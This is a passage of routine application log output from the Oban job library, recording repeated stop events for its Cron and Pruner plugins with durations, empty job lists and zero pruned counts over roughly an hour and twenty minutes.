{"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.654 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:33:04.705 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:34.706 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.656 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:34:04.707 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:34.708 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.657 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:35:04.709 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:34.710 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.659 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:36:04.711 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:34.712 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.659 [info] {"source":"oban","duration":136,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:37:04.714 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:34.715 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.661 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:38:04.718 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:34.720 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.663 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:39:04.721 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:34.722 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.664 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:40:04.723 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:34.724 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.666 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:41:04.725 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:34.726 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.668 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:42:04.728 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:34.729 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.669 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:43:04.730 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:34.731 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.670 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:44:04.733 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:34.736 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.672 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:45:04.738 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:34.740 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.673 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:46:04.741 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:34.743 [info] {"source":"oban","duration":1833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.673 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:47:04.745 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:34.747 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.675 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:48:04.749 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:34.751 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.675 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:49:04.753 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:34.754 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.676 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:50:04.756 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:34.758 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.678 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:51:04.760 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:34.762 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.679 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:52:04.763 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:34.765 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.679 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:53:04.767 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:34.769 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.681 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:54:04.771 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:34.774 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.682 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:55:04.776 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:34.778 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.684 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:56:04.781 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:34.784 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.685 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:57:04.787 [info] {"source":"oban","duration":2072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:34.789 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.685 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:58:04.792 [info] {"source":"oban","duration":2279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:34.795 [info] {"source":"oban","duration":1727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.686 [info] {"source":"oban","duration":134,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:59:04.797 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:34.799 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.687 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:00:04.800 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:34.801 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.688 [info] {"source":"oban","duration":125,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:01:04.803 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:34.805 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.689 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:02:04.807 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:34.808 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.690 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:03:04.810 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:34.810 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.691 [info] {"source":"oban","duration":130,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:04:04.813 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:34.816 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.692 [info] {"source":"oban","duration":152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:05:04.819 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:34.822 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.693 [info] {"source":"oban","duration":144,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:06:04.823 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:34.825 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.694 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:07:04.827 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:34.830 [info] {"source":"oban","duration":1865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.695 [info] {"source":"oban","duration":140,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:08:04.833 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:34.835 [info] {"source":"oban","duration":1884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.696 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:09:04.838 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:34.841 [info] {"source":"oban","duration":1675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.697 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:10:04.844 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:34.847 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.698 [info] {"source":"oban","duration":145,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:11:04.850 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:34.852 [info] {"source":"oban","duration":2120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.699 [info] {"source":"oban","duration":142,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:12:04.855 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:34.858 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.700 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:13:04.861 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:34.864 [info] {"source":"oban","duration":1718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.701 [info] {"source":"oban","duration":145,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:14:04.867 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:34.870 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.702 [info] {"source":"oban","duration":155,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:15:04.873 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:34.876 [info] {"source":"oban","duration":2126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.703 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:16:04.879 [info] {"source":"oban","duration":2089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:34.882 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.704 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:17:04.885 [info] {"source":"oban","duration":2048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:34.888 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.705 [info] {"source":"oban","duration":204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:18:04.891 [info] {"source":"oban","duration":2322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:34.894 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.706 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:19:04.897 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:34.900 [info] {"source":"oban","duration":2100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.707 [info] {"source":"oban","duration":146,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:20:04.903 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:34.906 [info] {"source":"oban","duration":2056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.708 [info] {"source":"oban","duration":135,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:21:04.909 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:34.911 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.709 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:22:04.914 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:34.915 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.710 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:23:04.917 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:34.920 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.711 [info] {"source":"oban","duration":155,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:24:04.923 [info] {"source":"oban","duration":1864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:34.926 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.712 [info] {"source":"oban","duration":153,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:25:04.929 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:34.932 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.713 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:26:04.935 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:34.938 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.714 [info] {"source":"oban","duration":166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:27:04.941 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:34.944 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.715 [info] {"source":"oban","duration":160,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:28:04.947 [info] {"source":"oban","duration":2203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:34.950 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.717 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:29:04.953 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:34.956 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.717 [info] {"source":"oban","duration":152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:30:04.959 [info] {"source":"oban","duration":2018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:34.962 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.718 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:31:04.965 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:34.967 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.720 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:32:04.970 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:34.973 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.720 [info] {"source":"oban","duration":163,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:33:04.976 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:34.979 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.721 [info] {"source":"oban","duration":160,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:34:04.981 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:34.984 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.722 [info] {"source":"oban","duration":176,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:35:04.987 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:34.990 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.723 [info] {"source":"oban","duration":166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:36:04.993 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:34.996 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.724 [info] {"source":"oban","duration":215,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:37:04.999 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:35.001 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.725 [info] {"source":"oban","duration":151,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:38:05.004 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:35.007 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.726 [info] {"source":"oban","duration":163,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:39:05.009 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:35.011 [info] {"source":"oban","duration":2010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.727 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:40:05.014 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:35.017 [info] {"source":"oban","duration":2195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.728 [info] {"source":"oban","duration":204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:41:05.020 [info] {"source":"oban","duration":1871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:35.023 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.729 [info] {"source":"oban","duration":158,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:42:05.025 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:35.028 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.731 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:43:05.031 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:35.035 [info] {"source":"oban","duration":2271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.732 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:44:05.038 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:35.041 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.733 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:45:05.044 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:35.047 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.734 [info] {"source":"oban","duration":183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:46:05.050 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:35.054 [info] {"source":"oban","duration":2929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.735 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:47:05.057 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:35.060 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.736 [info] {"source":"oban","duration":173,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:48:05.063 [info] {"source":"oban","duration":1964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:35.066 [info] {"source":"oban","duration":1888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.738 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:49:05.069 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:35.071 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.739 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:50:05.074 [info] {"source":"oban","duration":2087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:35.077 [info] {"source":"oban","duration":2115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.740 [info] {"source":"oban","duration":187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:51:05.080 [info] {"source":"oban","duration":2057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:35.083 [info] {"source":"oban","duration":1766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.741 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 